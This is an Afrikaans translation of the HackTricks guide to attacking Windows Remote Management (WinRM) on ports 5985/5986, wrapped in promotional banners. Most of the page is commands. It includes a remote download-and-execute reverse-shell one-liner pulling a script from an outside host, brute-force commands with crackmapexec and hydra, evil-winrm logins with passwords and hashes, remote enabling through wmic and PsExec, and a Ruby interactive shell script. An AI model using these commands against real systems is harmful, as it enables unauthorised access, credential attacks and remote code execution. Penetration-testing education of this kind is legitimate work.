19 KiB
5985,5986 - Pentesting WinRM
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hack-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-repos.
Sluit aan by die HackenProof Discord bediener om te kommunikeer met ervare hackers en foutjagters!
Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
Real-Time Hack News
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
Nuutste aankondigings
Bly ingelig met die nuutste foutjagbounties wat begin en belangrike platform-opdaterings
Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!
WinRM
Windows Remote Management (WinRM) word uitgelig as 'n protokol deur Microsoft wat die afstandsbestuur van Windows-stelsels deur middel van HTTP(S) moontlik maak, met behulp van SOAP in die proses. Dit word fundamenteel aangedryf deur WMI en bied 'n HTTP-gebaseerde koppelvlak vir WMI-operasies.
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afstandsadministrasie via PowerShell, soortgelyk aan hoe SSH werk vir ander bedryfstelsels. Om vas te stel of WinRM operasioneel is, word aanbeveel om te kyk of spesifieke poorte oopgemaak is:
- 5985/tcp (HTTP)
- 5986/tcp (HTTPS)
'n Oop poort van die lys hierbo beteken dat WinRM opgestel is en dus pogings toelaat om 'n afstandsverbinding te begin.
Die begin van 'n WinRM-sessie
Om PowerShell te konfigureer vir WinRM, kom Microsoft se Enable-PSRemoting
cmdlet in die prentjie, wat die rekenaar opstel om afstands-PowerShell-opdragte te aanvaar. Met verhoogde toegang tot PowerShell kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as betroubaar aan te dui:
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
Hierdie benadering behels die byvoeging van 'n wildkaart by die trustedhosts
-konfigurasie, 'n stap wat versigtige oorweging vereis as gevolg van die implikasies daarvan. Dit word ook opgemerk dat dit moontlik nodig kan wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien.
Verder kan WinRM afstandaktivering gebruik deur die wmic
-opdrag, soos volg, te demonstreer:
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
Hierdie metode maak dit moontlik om WinRM vanaf 'n afstand op te stel, wat die buigsaamheid in die bestuur van Windows-masjiene verbeter.
Toets of dit gekonfigureer is
Om die opset van jou aanvalsmasjien te verifieer, word die Test-WSMan
-opdrag gebruik om te kyk of die teiken WinRM korrek gekonfigureer het. Deur hierdie opdrag uit te voer, kan jy verwag om besonderhede oor die protokolweergawe en wsmid te ontvang, wat suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitset vir 'n gekonfigureerde teiken teenoor 'n ongekonfigureerde een demonstreer:
- Vir 'n teiken wat korrek gekonfigureer is, sal die uitset soortgelyk lyk aan die volgende:
Test-WSMan <target-ip>
Die reaksie moet inligting bevat oor die protokolweergawe en wsmid, wat aandui dat WinRM korrek opgestel is.
- Omgekeerd, vir 'n teiken wat nie vir WinRM opgestel is nie, sal daar geen sulke gedetailleerde inligting wees nie, wat die afwesigheid van 'n korrekte WinRM-opstelling beklemtoon.
Voer 'n bevel uit
Om ipconfig
op 'n teikenrekenaar uit te voer en die uitset te sien, doen die volgende:
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
Jy kan ook 'n bevel van jou huidige PS-konsole uitvoer deur gebruik te maak van Invoke-Command. Stel dat jy plaaslik 'n funksie genaamd enumeration het en jy wil dit op 'n afgeleë rekenaar uitvoer, kan jy dit doen:
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
Voer 'n Skrip uit
Om 'n skrip uit te voer op 'n Windows Remote Management (WinRM) diens, kan jy die volgende stappe volg:
- Verbind na die doelwitbediener met behulp van 'n WinRM-kliënt soos
winrs
ofEnter-PSSession
. - Skep 'n nuwe skripslêer op die doelwitbediener met die gewenste skriptekode.
- Voer die skrip uit deur die pad na die skripslêer op te gee, byvoorbeeld
.\skripsnaam.ps1
.
Dit sal die skrip op die doelwitbediener uitvoer en die resultate terugstuur na jou WinRM-kliënt. Onthou om die nodige toestemmings en regte te hê om skripte op die doelwitbediener uit te voer.
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
Kry 'n omgekeerde dop
Om 'n omgekeerde dop te kry, kan jy die volgende stappe volg:
- Skep 'n omgekeerde dop-skripsie wat sal hardloop op die doelwitbediener. Hierdie skripsie moet 'n verbinding maak met jou aanvalsmasjien en 'n omgekeerde dop daarop vestig.
- Stuur die omgekeerde dop-skripsie na die doelwitbediener. Dit kan gedoen word deur dit te laai op 'n webwerf, dit as 'n e-posbylaag te stuur of dit op 'n ander manier op die doelwitbediener te plaas.
- Wanneer die doelwitbediener die omgekeerde dop-skripsie uitvoer, sal dit 'n verbinding maak met jou aanvalsmasjien en 'n omgekeerde dop daarop vestig.
- Jy kan nou op afstand die doelwitbediener se stelsel beheer deur die omgekeerde dop te gebruik.
Dit is belangrik om te onthou dat die gebruik van omgekeerde dopskripsies om toegang tot stelsels te verkry sonder toestemming onwettig is en 'n oortreding van die wet kan wees. Dit moet slegs gedoen word in 'n wettige en etiese pentesting-konteks.
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
Kry 'n PS-sessie
Om 'n interaktiewe PowerShell-skaal te kry, gebruik Enter-PSSession
:
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop
WinRM Oop Forseer
Om PS Remoting en WinRM te gebruik, maar as die rekenaar nie gekonfigureer is nie, kan jy dit aktiveer met:
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
Stoor en Herstel sessies
Dit sal nie werk as die taal beperk is op die afgeleë rekenaar nie.
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
Binne hierdie sessies kan jy PS-skripte laai deur gebruik te maak van Invoke-Command.
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
Foute
As jy die volgende fout vind:
enter-pssession : Verbinding met afgeleë bediener 10.10.10.175 het misluk met die volgende foutboodskap: Die WinRM-kliënt kan nie die versoek verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie by 'n domein aangesluit is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys nie noodwendig geverifieer word nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help-onderwerp.
Probeer die volgende op die kliënt (inligting van hier):
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
Sluit aan by die HackenProof Discord bediener om met ervare hackers en foutjagters te kommunikeer!
Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
Real-Time Hack Nuus
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
Nuutste aankondigings
Bly ingelig met die nuutste foutjagte wat begin en belangrike platform-opdaterings
Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!
WinRM-verbinding in Linux
Brute Force
Wees versigtig, brute force-aanvalle op WinRM kan gebruikers blokkeer.
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
Gebruik van evil-winrm
evil-winrm
is 'n nuttige hulpmiddel wat gebruik kan word vir die pentesting van Windows Remote Management (WinRM)-dienste. Hierdie hulpmiddel maak dit moontlik om aan te meld by 'n Windows-masjien en uitvoering van verskeie operasies uit te voer, soos die verkryging van inligting, uitvoering van opdragte en die oplaai van lêers.
Om evil-winrm
te gebruik, volg die volgende stappe:
- Installeer die
evil-winrm
-hulpmiddel op jou stelsel. - Voer die volgende opdrag in om aan te meld by die doelwitstelsel:
evil-winrm -i <IP-adres> -u <gebruikersnaam> -p <wagwoord>
. - As die aanmelding suksesvol is, sal jy 'n interaktiewe skootrekenaar ontvang waar jy opdragte kan uitvoer.
- Gebruik die verskillende opdragte om inligting te verkry, lêers op te laai of uit te voer, en ander operasies uit te voer.
Dit is belangrik om te onthou dat die gebruik van evil-winrm
slegs toegelaat word op stelsels waarvoor jy die regte toestemming het om dit te doen. Wees verantwoordelik en gebruik hierdie hulpmiddel slegs vir wettige doeleindes.
gem install evil-winrm
Lees die dokumentasie op sy github: https://github.com/Hackplayers/evil-winrm
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
Om evil-winrm te gebruik om aan te sluit by 'n IPv6-adres, skep 'n inskrywing binne /etc/hosts wat 'n domeinnaam aan die IPv6-adres koppel en maak verbinding met daardie domein.
Gee die has met evil-winrm deur
evil-winrm -u <username> -H <Hash> -i <IP>
Die gebruik van 'n PS-docker masjien
Om WinRM te pentest, kan jy 'n PS-docker masjien gebruik om 'n omgewing te skep waarin jy die tegniek kan toets. Hier is die stappe om dit te doen:
-
Skep 'n nuwe PS-docker masjien deur die volgende opdrag uit te voer:
docker run -it --name winrm-test -p 5985:5985 -p 5986:5986 mcr.microsoft.com/windows/servercore:ltsc2019 powershell
-
Maak 'n nuwe PowerShell-sessie met die WinRM-module:
$session = New-PSSession -ComputerName <target_IP> -Port <target_port> -Credential <credentials>
-
Maak 'n nuwe sessie met die WinRM-module:
Enter-PSSession -Session $session
-
Jy is nou in 'n interaktiewe PowerShell-sessie op die doelwitbediener. Jy kan verskillende WinRM-opdragte uitvoer om die omgewing te toets en te pentest.
-
As jy klaar is, kan jy die PS-docker masjien verwyder deur die volgende opdrag uit te voer:
docker rm winrm-test -f
Deur hierdie stappe te volg, kan jy 'n PS-docker masjien gebruik om WinRM te pentest en die veiligheid van die omgewing te evalueer.
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
Gebruik 'n ruby-skrips
Kode onttrek van hier: https://alamot.github.io/winrm_shell/
require 'winrm-fs'
# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/
conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)
class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end
command=""
file_manager = WinRM::FS::FileManager.new(conn)
conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
Shodan
port:5985 Microsoft-HTTPAPI
Verwysings
HackTricks Outomatiese Opdragte
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
Port_Number: 5985 #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
menu
invoke-binary `tab`
#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))
https://book.hacktricks.xyz/pentesting/pentesting-winrm
Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
Sluit aan by die HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
Hacking-insigte
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek
Real-Time Hack Nuus
Bly op hoogte van die vinnige wêreld van hacking deur middel van real-time nuus en insigte
Nuutste aankondigings
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platform-opdaterings
Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!
Leer AWS hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslagplekke.